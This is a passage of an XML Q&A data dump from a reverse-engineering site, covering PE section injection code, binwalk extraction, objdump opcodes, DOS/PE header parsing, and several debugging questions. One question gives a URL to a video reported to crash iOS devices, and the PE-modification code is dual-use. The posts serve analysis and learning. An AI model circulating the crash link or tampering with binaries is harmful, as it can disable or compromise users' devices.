MySecretMessage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-11-22T12:20:57.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14025" PostTypeId="2" ParentId="13995" CreationDate="2016-11-22T15:34:11.357" Score="0" Body="&lt;p&gt;Check this post out it may be helpful &lt;a href=&quot;http://ge0-it.blogspot.fr/2012/08/adding-section-to-your-pe-easy-way.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ge0-it.blogspot.fr/2012/08/adding-section-to-your-pe-easy-way.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code snippet from source above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VOID PortableExecutable::AddSection(PortableExecutable::SectionHeader&amp;amp; newSectionHeader) {&#xA;    DWORD dwRawSectionOffset = (DWORD)GetFileSize();&#xA;&#xA;    /* Aligns dwRawSectionOffset to OptionalHeader.FileAlignment */&#xA;    dwRawSectionOffset += this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment - (dwRawSectionOffset % this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment);&#xA;&#xA;    /* Does the whole header's length overflows OptionalHeader.SizeOfHeaders? */&#xA;    if(&#xA;        (sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) + (this-&amp;gt;m_imageNtHeaders.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER)))&#xA;        &amp;gt; this-&amp;gt;m_imageNtHeaders.OptionalHeader.SizeOfHeaders&#xA;        ) {&#xA;&#xA;            /* If it's the case, add free space */&#xA;            AddFreeSpaceAfterHeaders( this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment );&#xA;&#xA;            /* Adding 'FileAlignment' value to SizeOfHeaders fields then */&#xA;            this-&amp;gt;m_imageNtHeaders.OptionalHeader.SizeOfHeaders += this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment;&#xA;&#xA;    }&#xA;&#xA;    newSectionHeader.SetPointerToRawData(dwRawSectionOffset);&#xA;&#xA;    /* Adding the new section header */&#xA;    this-&amp;gt;m_sectionHeaders.push_back(newSectionHeader);&#xA;&#xA;    /* Incrementing the 'NumberOfSections' field */&#xA;    ++this-&amp;gt;m_imageNtHeaders.FileHeader.NumberOfSections;&#xA;&#xA;    /* Adding to SizeOfImage the SectionAlignment value */&#xA;    this-&amp;gt;m_imageNtHeaders.OptionalHeader.SizeOfImage += this-&amp;gt;m_imageNtHeaders.OptionalHeader.SectionAlignment;&#xA;&#xA;    /* Rewriting the whole headers */&#xA;    m_stream.seekg(this-&amp;gt;m_imageDosHeader.e_lfanew, std::ios::beg);&#xA;    m_stream.write((const char*)&amp;amp;this-&amp;gt;m_imageNtHeaders, sizeof(IMAGE_NT_HEADERS));&#xA;&#xA;    /* Rewriting the section headers then */&#xA;    std::vector&amp;lt;PortableExecutable::SectionHeader&amp;gt;::iterator it =&#xA;        this-&amp;gt;m_sectionHeaders.begin();&#xA;&#xA;    while(it != this-&amp;gt;m_sectionHeaders.end()) {&#xA;        m_stream.write((const char*)&amp;amp;it-&amp;gt;ImageSectionHeader(), sizeof(IMAGE_SECTION_HEADER));&#xA;        ++it;&#xA;    }&#xA;&#xA;    /* Finally adding 'FileAlignment' bytes to the end of the file,&#xA;    which actually corresponds to the section's memory space! */&#xA;    m_stream.seekg(this-&amp;gt;m_sectionHeaders.at( this-&amp;gt;m_sectionHeaders.size()-1).GetPointerToRawData(), std::ios::beg);&#xA;&#xA;    char* bytes = new char[this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment];&#xA;    ::memset(bytes, '\0', this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment);&#xA;    m_stream.write(bytes, this-&amp;gt;m_imageNtHeaders.OptionalHeader.FileAlignment);&#xA;    delete[] bytes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2016-11-22T15:34:11.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14026" PostTypeId="2" ParentId="13944" CreationDate="2016-11-22T16:56:42.267" Score="1" Body="&lt;p&gt;The &lt;code&gt;UnZip&lt;/code&gt; implementation is the cause of your problem. When &lt;code&gt;binwalk&lt;/code&gt; extracts &lt;code&gt;full&lt;/code&gt;, the first ZIP actually contains both ZIPs, but &lt;code&gt;UnZip&lt;/code&gt; only extracts the last one (which is also stored independently in the second ZIP that &lt;code&gt;binwalk&lt;/code&gt; extracted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;binwalk&lt;/code&gt; expects &lt;code&gt;p7zip&lt;/code&gt;, so install &lt;code&gt;p7zip&lt;/code&gt; to fix this problem.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget https://github.com/devttys0/binwalk/archive/v2.0.1.zip&#xA;$ wget https://github.com/devttys0/binwalk/archive/v2.1.1.zip&#xA;$ mv v2.0.1.zip binwalk-2.0.1.zip&#xA;$ mv v2.1.1.zip binwalk-2.1.1.zip&#xA;$ cat binwalk-2.0.1.zip binwalk-2.1.1.zip &amp;gt; full&#xA;$ ls -l&#xA;2255007 binwalk-2.0.1.zip&#xA; 288920 binwalk-2.1.1.zip&#xA;2543927 full&#xA;$ binwalk -r -C output -e full&#xA;$ ls -l output/_full.extracted/&#xA;2543927 0.zip      # both ZIPs&#xA; 288920 22689F.zip # last ZIP&#xA;$ mkdir final &amp;amp;&amp;amp; unzip output/_full.extracted/'*.zip' -d final/&#xA;$ ls -l final/&#xA;binwalk-2.1.1                                   # bad&#xA;$ rm -r output/ final/                          # cleanup&#xA;                                                # install p7zip                                                          &#xA;$ binwalk -r -C output -e full&#xA;$ ls -l output/_full.extracted/&#xA;binwalk-2.0.1&#xA;binwalk-2.1.1                                   # good&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15376" LastEditorUserId="15376" LastEditDate="2016-11-26T20:52:01.310" LastActivityDate="2016-11-26T20:52:01.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14027" PostTypeId="1" CreationDate="2016-11-22T19:02:15.310" Score="4" ViewCount="277" Body="&lt;p&gt;There have been reports of a malformed h264 video file causing iOS devices to hang or crash (I've added the link in plaintext to avoid accidental clickthroughs, play at your own risk: &lt;code&gt;http://www.apps4iphone.net/videocrash.html&lt;/code&gt;).  I am trying to reverse engineer this file to understand why and how it harms an iOS device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't appear to be anything abnormal with the file looking at it with Mediainfo Mac:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* * * MediaInfo Mac 0.7.36.0 file analysis report.&#xA;* * * MediaInfo Mac is ©2010 by Diego Massanti - http://mediainfo.massanti.com&#xA;* * * MediaInfoLib by Jerome Martinez - http://mediainfo.sourceforge.net&#xA;Created on: Nov 22, 2016, 1:55:04 PM EST&#xA;Report for file: IMG_0942.mp4&#xA;&#xA;General / Container Stream #1&#xA;    Total Video Streams for this File.................1&#xA;    Total Audio Streams for this File.................1&#xA;    Video Codecs Used.................................AVC&#xA;    Audio Codecs Used.................................AAC LC&#xA;    File Format.......................................MPEG-4&#xA;    Play Time.........................................5s 6ms&#xA;    Total File Size...................................527 KiB&#xA;    Total Stream BitRate..............................863 Kbps&#xA;Video Stream #1&#xA;    Codec (Human Name)................................AVC&#xA;    Codec (FourCC)....................................avc1&#xA;    Codec Profile.....................................Baseline@L3.0&#xA;    Frame Width.......................................480 pixels&#xA;    Frame Height......................................480 pixels&#xA;    Frame Rate........................................25.000 fps&#xA;    Total Frames......................................126&#xA;    Display Aspect Ratio..............................1.000&#xA;    Scan Type.........................................Progressive&#xA;    Color Space.......................................YUV&#xA;    Codec Settings (Summary)..........................1 Ref Frames&#xA;    QF (like Gordian Knot)............................0.137&#xA;    Codec Settings (CABAC)............................No&#xA;    Codec Settings (Reference Frames).................1&#xA;    Video Stream Length...............................5s 6ms&#xA;    Video Stream BitRate..............................789 Kbps&#xA;    Video Stream BitRate Mode.........................VBR&#xA;    Bit Depth.........................................8 bits&#xA;    Video Stream Size.................................486 KiB (92%)&#xA;    Video Stream Title................................Core Media Video&#xA;    Date of Original Encoding.........................UTC 2016-11-17 20:14:29&#xA;Audio Stream #1&#xA;    Codec.............................................AAC&#xA;    Codec (FourCC)....................................40&#xA;    Audio Stream Length...............................4s 504ms&#xA;    Audio Stream BitRate..............................72.0 Kbps&#xA;    Audio Stream BitRate Mode.........................CBR&#xA;    Number of Audio Channels..........................1&#xA;    Audio Channel's Positions.........................Front: C&#xA;    Sampling Rate.....................................44.1 KHz&#xA;    Audio Stream Size.................................39.2 KiB (7%)&#xA;    Audio Stream Title................................Core Media Audio&#xA;    Date of Original Encoding.........................UTC 2016-11-17 20:14:29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ffprobe output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;➜  Downloads ffprobe IMG_0942.mp4&#xA;ffprobe version 3.2 Copyright (c) 2007-2016 the FFmpeg developers&#xA;  built with Apple LLVM version 8.0.0 (clang-800.0.42.1)&#xA;  configuration: --prefix=/usr/local/Cellar/ffmpeg/3.2 --enable-shared --enable-pthreads --enable-gpl --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags= --host-ldflags= --enable-libmp3lame --enable-libx264 --enable-libxvid --enable-opencl --disable-lzma --enable-vda&#xA;  libavutil      55. 34.100 / 55. 34.100&#xA;  libavcodec     57. 64.100 / 57. 64.100&#xA;  libavformat    57. 56.100 / 57. 56.100&#xA;  libavdevice    57.  1.100 / 57.  1.100&#xA;  libavfilter     6. 65.100 /  6. 65.100&#xA;  libavresample   3.  1.  0 /  3.  1.  0&#xA;  libswscale      4.  2.100 /  4.  2.100&#xA;  libswresample   2.  3.100 /  2.  3.100&#xA;  libpostproc    54.  1.100 / 54.  1.100&#xA;Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'IMG_0942.mp4':&#xA;  Metadata:&#xA;    major_brand     : mp42&#xA;    minor_version   : 1&#xA;    compatible_brands: mp41mp42isom&#xA;    creation_time   : 2016-11-17T20:14:29.000000Z&#xA;  Duration: 00:00:05.01, start: 0.000000, bitrate: 862 kb/s&#xA;    Stream #0:0(und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, mono, fltp, 71 kb/s (default)&#xA;    Metadata:&#xA;      creation_time   : 2016-11-17T20:14:29.000000Z&#xA;      handler_name    : Core Media Audio&#xA;    Stream #0:1(und): Video: h264 (Constrained Baseline) (avc1 / 0x31637661), yuv420p, 480x480, 794 kb/s, 25.17 fps, 25 tbr, 12800 tbn, 25600 tbc (default)&#xA;    Metadata:&#xA;      creation_time   : 2016-11-17T20:14:29.000000Z&#xA;      handler_name    : Core Media Video&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure of the best way to read the video file's header contents on a Mac.  But what would cause this video to hang an iOS device?  Is it a malformed header?  Corrupted metadata or video stream?  Also note that this does not crash Quicktime on Mac or Safari/AVFoundation on the iOS Simulator.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-22T19:11:36.403" LastActivityDate="2016-12-13T19:53:06.003" Title="How can a video file cause an iOS device to crash or hang?" Tags="|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14029" PostTypeId="1" CreationDate="2016-11-23T04:31:04.897" Score="1" ViewCount="1220" Body="&lt;p&gt;Here's the attached image: &lt;a href=&quot;https://i.stack.imgur.com/1wzwt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1wzwt.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://www.gsmsolutions.ie/shop/782-large_default/nokia-ca-50-ca50-usb-cable.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;gsmsolutions.ie&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;The CA-50 was used by Nokia to program newer phones. Nokia phones from around 2008-2011 feature this port for flashing.&lt;/p&gt;&#xA;&lt;p&gt;I noticed the USB side is unusually longer. It is even bigger than the USB pen drive I hold. Does it hide any kind of microchip beneath it?&lt;/p&gt;&#xA;" OwnerUserId="16314" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-19T06:34:05.137" Title="The Nokia CA-50 cable has a longer USB port. Does it hide any kind of chip?" Tags="|disassembly|windows|hardware|usb|vulnerability-analysis|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14030" PostTypeId="2" ParentId="14029" CreationDate="2016-11-23T04:50:45.103" Score="0" Body="&lt;p&gt;The USB cable might have contained a chip to handle some special I/O, but I don't think it was anything special.  In fact, there is a &lt;a href=&quot;https://www.amazon.co.uk/Nokia-1200-Cable-CA-50-Chargering/dp/B0046H03K0&quot; rel=&quot;nofollow noreferrer&quot;&gt;third party cable&lt;/a&gt; with a smaller male USB end which appears to work as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qYj9c.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYj9c.jpg&quot; alt=&quot;Cable&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2016-11-23T04:50:45.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14031" PostTypeId="2" ParentId="12993" CreationDate="2016-11-23T08:41:28.883" Score="4" Body="&lt;p&gt;An old DOS EXE header is only 28 (&lt;code&gt;0x1C&lt;/code&gt;) bytes long and is usually followed by the DOS relocation table if present.  The &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt; &lt;code&gt;struct&lt;/code&gt; of the NT PE header is much larger at 64 (0x40) bytes as it has been extended for the various other Windows executable formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to interpret &lt;code&gt;e_lfanew&lt;/code&gt; at offset 60 (&lt;code&gt;0x3C&lt;/code&gt;) for a plain DOS executable as suggested by the recommended answer is incorrect as this pulls in whatever data happens to be at that offset, usually from the DOS relocation table but it can vary between valid DOS executables.  Using a handful of old DOS executables, the value at this position might not be zero, thus any logic that tries to use this as a distinguishing marker may crash or work incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to distinguish a plain DOS EXE, you can't reliably look at any members past &lt;code&gt;e_ovno&lt;/code&gt; (overlay number) of the &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt; &lt;code&gt;struct&lt;/code&gt; because they are Windows and OS/2 extensions to the DOS EXE header and do not exist in plain DOS executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as distinguishing between a DOS executable and a PE executable, I have used the following logic with success:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the beginning of the file does not begin with &quot;MZ&quot; or &quot;ZM&quot;, it is not an DOS or Windows executable image.  Otherwise you may have one of the following types of executable formats: plain DOS, NE (Windows 16-bit), LE (16-bit VXD), PE32, or PE32+ (PE64).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Determine if you have a plain DOS executable by looking at the &lt;code&gt;e_lfanew&lt;/code&gt; value.  A plain DOS executable will have an out-of-range &lt;code&gt;e_lfanew&lt;/code&gt; pointing outside of the limits of the file, a zero, or if the offset happens to be in range, the signature at its offset won't match any signatures below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to match the signature of the &quot;in-range&quot; offset pointed to by &lt;code&gt;e_lfanew&lt;/code&gt; with the following WORD or DWORD values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;PE&quot; followed by two zero bytes if the image is a PE32 or PE32+ (PE64) and is further determined by the &quot;magic&quot; in the NT Optional Header&#xA;&quot;NE&quot; indicates the image is a 16-bit Windows executable&#xA;&quot;LE&quot; indicates the image is a 16-bit Virtual Device Driver (VXD)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17472" LastEditorUserId="17472" LastEditDate="2016-11-28T08:45:04.047" LastActivityDate="2016-11-28T08:45:04.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14033" PostTypeId="2" ParentId="14029" CreationDate="2016-11-23T20:06:00.693" Score="1" Body="&lt;p&gt;If there is any chip inside the cable, it will use the 5v line as power supply. So, you have to measure resistance from gnd to 5v and compare it with another cable. Usually, the resistance is so high it's undetectable by a normal tester, and this also means there's nothing more than wire and plastic inside (for sure in any normal device).&#xA;Also, make sure to measure resistance backwards and forwards (I mean, swap the probes), because it is a semiconductor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can measure also the data pair.&lt;/p&gt;&#xA;" OwnerUserId="18187" LastActivityDate="2016-11-23T20:06:00.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14034" PostTypeId="1" AcceptedAnswerId="14036" CreationDate="2016-11-23T20:13:06.000" Score="5" ViewCount="4916" Body="&lt;p&gt;I'm trying to write my own disassembler for PE,PE+ and ELF executables but I'm stuck with a big problem on PE and PE+ executables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm checking my work by comparing my output with objdump, and I found some (bad) opcodes appear in the disassembled program. I immediately checked the instruction manual to control these values; they are shown as invalid in instruction manual. Some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from PE files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;40dad1:       d6                      (bad)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;402f1c:       ff                      (bad)&#xA;402f1d:       ff                      (bad)&#xA;402f1e:       ff                      (bad)&#xA;402f1f:       ff 01                   incl   (%ecx) #at last a valid instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are valid when I check the manual, but I cannot understand this (it's a PE+ file, architecture is AMD64):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f0 db a5 4e 9c 95 68    lock (bad) [rbp+0x68959c4e]&#xA;&#xA;f0 is lock prefix&#xA;db means its a x87 instruction&#xA;a5 is ModRM byte(10 100 101) and by looking mod and reg fields we can say it's an invalid instruction&#xA;4e 9c 95 68 is used as 4byte disp but why ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do we assume that it's an invalid indirect x87 opcode and we continue to read as it's a valid opcode? I suppose objdump chooses this path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what are these (bad) instructions for? It's clear that they are not for aligning; or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, I'm trying to disassemble my old projects and FireFox to check if my program works. I'm using &lt;code&gt;objdump -z -d -M intel XXYYZZ.exe&lt;/code&gt; to disassemble.&lt;/p&gt;&#xA;" OwnerUserId="15729" LastEditorUserId="2959" LastEditDate="2016-11-24T11:31:48.057" LastActivityDate="2016-11-24T15:12:10.387" Title="(bad) opcodes of objdump" Tags="|disassembly|pe|objdump|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14035" PostTypeId="1" CreationDate="2016-11-24T10:03:15.103" Score="1" ViewCount="193" Body="&lt;p&gt;I'm fairly new in reverse engineering, but I do comprehend assembly code. However, I'm facing a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is about an old Rockstar game, &quot;Bully: The scholarship edition&quot; (released 2007 - aka &quot;Canis Canem Edit&quot;). It however has issues to perform on Windows 10 anniversary edition OS that I have at this moment. That is expected since it's an old software. To resolve that, I tried many online solutions (compat mode, setting CPU affinity, ect), which didn't helped much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to look into the code by using OllyDbg. The cause of the crash is pretty constant; an access violation. However, it is purely random. I am able to play a hour without problems, or experiencing a crash within 10 minutes. The program apparently tries to move data from address 0 to a register, which isn't allowed. The exception is always thrown at the same place, where the pointer call occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot from OllyDbg when debugging the program. (Sorry for small resolution, it's an old game, hence the resolution is set at 1280x960)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qZtHt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZtHt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exception is thrown at address &lt;code&gt;0088729D&lt;/code&gt; which has this instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV ECX, DWORD PTR DS:[EAX]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The EAX register is apparently empty (you can see that in the image). So I checked when information is moved to that register. It happens at the address (I've selected the line and added comment &quot;&lt;em&gt;moves empty address&lt;/em&gt;&quot;) &lt;code&gt;00887281&lt;/code&gt;. It contains the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR SS:[ESP+8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far I know, SS is the stack segment register and ESP extended stack pointer. The ESP register contains address &lt;code&gt;0019F3A0&lt;/code&gt;. With offset 8, the address is now &lt;code&gt;0019F3A8&lt;/code&gt; (see selection in the right bottom box). It contains &lt;code&gt;00002000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now clueless after this point. I don't understand why the address during the call is zero and not that value. I expect that the EAX register would contain &lt;code&gt;00002000&lt;/code&gt; after the instruction. However, this is not the case this time. The EAX register contains &lt;code&gt;00000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that I'm interpreting this incorrectly. Can someone point me where my misinterpretation occurs or inform me how to check this problem more correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS: the reason for this is because I've played bully in my childhood and want to play again. Apparently, there are other users with the same problem, even after attempting the known solutions on the web. Perhaps if I find a solid solution for this, that I would be able to help others too.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18193" LastActivityDate="2016-11-24T10:03:15.103" Title="Am I interpreting the instructions correctly or not. (ollydbg + executable)" Tags="|ollydbg|debugging|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14036" PostTypeId="2" ParentId="14034" CreationDate="2016-11-24T14:27:46.720" Score="3" Body="&lt;p&gt;You are correct, and &lt;code&gt;objdump&lt;/code&gt; is actually wrong to disassemble such instruction, only to mark it as &lt;code&gt;(bad)&lt;/code&gt; in a later stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db a5 4e 9c 95 68    lock (bad) [rbp+0x68959c4e]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;db&lt;/code&gt; is one of the 87 FPU extensions, and &lt;code&gt;a5&lt;/code&gt; indeed is the Mod/rm byte. Now, for the FPU extensions, the rm part is &quot;as usual&quot; for all other mod/rm instructions, but the mod part indicates which instruction to use, from this small table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DB /0     FILD mem4i&#xA;DB /2     FIST mem4i&#xA;DB /3     FISTP mem4i&#xA;DB /5     FLD mem10r&#xA;DB /7     FSTP mem10r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the &lt;code&gt;/x&lt;/code&gt; number indicates what got encoded in the mod part of the mod/rm byte (for completeness: &lt;code&gt;db eX&lt;/code&gt; also forms some valid opcodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So of all available codes, those with the mod/rm patterns of &lt;code&gt;..001...&lt;/code&gt;, &lt;code&gt;..100..&lt;/code&gt; and &lt;code&gt;..110...&lt;/code&gt; form 'bad' codes - but you only know this &lt;em&gt;after&lt;/em&gt; parsing the mod/rm byte &lt;em&gt;and&lt;/em&gt; checking this specific table for the opcode &lt;code&gt;DB&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now apparently objdump parses the entire instruction - including the 4-byte immediate value - &lt;em&gt;before&lt;/em&gt; checking if the base instruction is valid to start with. I suppose it's just a table that says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;fild&quot;, &quot;(bad)&quot;, &quot;fist&quot;, &quot;fistp&quot;, &quot;(bad)&quot;, &quot;fld&quot;, &quot;(bad)&quot;, &quot;fstp&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;code&gt;(bad)&lt;/code&gt; entries get used as if they are actually valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could argue that it's immaterial, because both ways lead to the conclusion the opcode is 'bad', but with objdump's method, you are not only discarding the first byte as 'bad' but an entire 6 bytes. It is at least &lt;em&gt;theoretically&lt;/em&gt; possible the first byte (which causes the entire next sequence to be invalid) is data but followed &lt;em&gt;immediately&lt;/em&gt; by correct code, which would then start with the sequence &lt;code&gt;a5 4e 9c 95 68&lt;/code&gt; - which is skipped entirely by objdump.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.. what are these (bad) instructions for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suppose, looking at the other instructions that you show, that you are disassembling a wrong part of the executable and this is not supposed to be code at all but data instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check the PE/PE++ headers to find the &lt;em&gt;sections&lt;/em&gt;, and then only attempt disassembly on a section marked as &quot;code&quot; and/or &quot;executable&quot; in its &lt;code&gt;Characteristics&lt;/code&gt; field. Even then, it's possible to start at a 'wrong' position (e.g., in the middle of a longer instruction) or inside data (which may also reside inside a &lt;code&gt;.code&lt;/code&gt; section).&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2016-11-24T15:12:10.387" LastActivityDate="2016-11-24T15:12:10.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14037" PostTypeId="1" CreationDate="2016-11-24T14:31:55.090" Score="-1" ViewCount="424" Body="&lt;p&gt;I have working device, that operates with RAM (random access memory). I want to grab RAM dump. I think it must be a hardware option. Is there a way to do this? Maybe anybody have some expirience?&lt;/p&gt;&#xA;" OwnerUserId="16155" LastActivityDate="2016-11-24T21:06:13.440" Title="How to read RAM of embedded system?" Tags="|embedded|" AnswerCount="1" CommentCount="2" ClosedDate="2016-11-24T21:06:38.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="14038" PostTypeId="1" AcceptedAnswerId="14313" CreationDate="2016-11-24T17:10:56.173" Score="1" ViewCount="1471" Body="&lt;p&gt;otx is a tool used to disassemble Mach-O binaries on OS X 10.0-10.4.  It is an enhancement on top of otool to add additional symbol information to its disassembled output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main site and SVN repository (&lt;a href=&quot;http://otx.osxninja.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://otx.osxninja.com/&lt;/a&gt;) appears to be long dead.  I've seen a few repos on GitHub but has anyone maintained or updated otx to work on modern versions of Mac OS?&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2017-01-02T21:32:14.450" Title="Is there an up to date fork of otx?" Tags="|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14039" PostTypeId="1" AcceptedAnswerId="14040" CreationDate="2016-11-24T17:12:24.840" Score="2" ViewCount="2571" Body="&lt;p&gt;I'm trying to figure out how to unpack kkruncy executable, &lt;a href=&quot;https://github.com/farbrausch/fr_public/tree/master/kkrunchy&quot; rel=&quot;nofollow noreferrer&quot;&gt;sources here&lt;/a&gt; and &lt;a href=&quot;http://www.farbrausch.de/~fg/kkrunchy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binaries here&lt;/a&gt;, anyone knows how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main idea was testing out some little hello world exes compressed with kkrunchy but for some reason the exes will crash. Ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define UNICODE&#xA;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;void start()&#xA;{&#xA;    MessageBox(NULL, L&quot;X&quot;, L&quot;Y&quot;, MB_OK);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global start&#xA;; kernel32.lib Exports&#xA;extern _ExitProcess@4&#xA;extern _GetStdHandle@4&#xA;extern _WriteFile@20&#xA;&#xA;section .text&#xA;&#xA;start:&#xA;    ; DWORD  bytes;&#xA;    mov     ebp, esp&#xA;    sub     esp, 